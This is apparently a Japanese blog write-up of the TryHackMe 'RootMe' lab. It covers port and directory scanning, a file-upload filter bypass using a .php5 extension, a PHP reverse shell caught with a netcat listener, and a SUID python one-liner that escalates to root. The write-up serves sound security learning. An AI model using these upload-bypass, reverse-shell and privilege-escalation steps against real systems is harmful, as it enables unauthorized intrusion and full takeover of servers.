1
0

TryHackMe Writeup: RootMe

Last updated at Posted at 2024-02-22

はじめに

今回は私がTryHackMeで初めて解いたPractice問題「RootMe(難易度はEasy)」のWriteupを書こうと思います.ちなみに初Writeup執筆なので改善点などありましたがぜひ教えてください.

Task1:Deploy the machine

これはただマシンを起動させるだけです.今回はVPNを使用します.

Task2:Reconnaissance

ポートスキャン

sudo nmap -p- -vv -T4 -O -sV [IPアドレス]

Pasted image 20240221174155.png
この結果から空いているポートは(22番と80番)ということがわかります.
それ以外にもそのポートが何のサービスがやバージョンなどもわかります.

ディレクトリ探索

gobusterを使ってディレクトリ探索をします.
gobuster dir -u 10.10.42.5 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
dirでディレクトリ探索,-uでURLの指定,-wで使用するwordlistのpathを指定します.
念のためlogも出力しときます.
Pasted image 20240221175425.png
いくつかのディレクトリなどが見つかりました.

Task3:Getting a shell

ここでブラウザから,標的マシンのIPに接続します.
Pasted image 20240221175850.png
なんかかっこいいサイトに繋がりました.
panelにつないでみます.
Pasted image 20240221175909.png
フォルダをアップロードする画面見たいですね.
ここでのヒントはSearch for "file upload bypass" and "PHP reverse shell".となっていたので調べてみます.

file upload bypassはフォームを通じて悪意のあるファイルをアップロードして対象サーバで実行する手法?みたいな感じですね.
PHP reverse shellは検索するとそれっぽいGithubのリポジトリが出てきました.

これをcloneしてphp-reverse-shellをvimで開いて以下のように変更します.

$ip = '自分のIPアドレス';
$port = 1234;

この時VPN接続している人はip aコマンドで確認してください.
ethのほうではなくtun0の方のIPアドレスです.
ポートは変えなくてもいいんですかね?(変えなくても上手くいきました.)

このPHPファイルを先ほどのフォームからアップロードします.
Pasted image 20240221181414.png
許可がないらしくアップロードできません.
"file upload bypass"について調べた時に拡張子を変えるというのも書かれていたので,.phpから,.php5に変えてみます.
Pasted image 20240221181626.png
成功したようです.

ここでアップロードしたファイルは先ほどのディレクトリ探索の時にも出てきた/uploadsディレクトリに格納されています.
image.png
*標的マシンのIPが変わっているのは気にしないでください.私が一度マシンを再起動してIPが変わったからです.

攻撃者端末側でnetcatコマンドを用いて指定したポートでの通信を待ち受けます
nc -lnvp 1234
上記のコマンド実行後,先ほど標的マシンにアップロードしたphp-reverse-shell.php5をクリックすることでPHPスクリプトを実行します.
これによりncコマンドで待ち受けていた攻撃者端末にシェルが取得できるはずです.
*私はここでなぜかWARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)というエラーが出て1時間ほど格闘しました.(FWを無効にしたりIPアドレスに間違えがないかなど確認しましたが,原因はわからず最終的にkali linuxがわを再起動したらできました)
Pasted image 20240222112744.png

今回のflagはuser.txtにあるのがわかっているのでファイル検索します.
find -name user.txt
Pasted image 20240222112945.png
/var/www/user.txtにあることがわかったのでこれをcatとかで見ればOKです.

Task4:Previlege escalation

権限昇格についてです.

Search for files with SUID permission, which file is weird?

まずそもそもSUIDとはということで、プログラムを誰が実行しても指定したユーザーの権限によって実行するよう指示するもの。だそうです.
ヒントにはfind / -user root -perm /4000とあったのでとりあえず実行してみます.
ちなみにこのコマンドは,ルートディレクトリから始まり、所有者が"root"ユーザであり、実行可能なセットユーザーID (SetUID) ビットが設定されているファイルを検索するコマンドです.
image.png
上の結果からpythonが怪しそうですね.

Find a form to escalate your privileges.

ヒントがSearch for gtfobinsなのでとりあえず調べてみます.
gtfobinsは権限昇格・リバースシェルの起動などが簡単にできるコマンド集みたいなものですかね?

ここでpythonに関するコマンドを検索してみます.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
このコマンドを入力します.whoamiコマンドで確認すると,実行前はwww-dataだったのに対して,実行後はrootになっています.

後は先ほどと同様にfind -name root.txtで検索してflagが見つかります.

おわりに

初めてWriteupを書いてみましたが,自分の復習にもなるのでOUTPUTはやはり大事ですね.
ここまで読んでくれた皆さん,よろしければ改善点などあればコメントいただけると幸いです.
ありがとうございました.

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0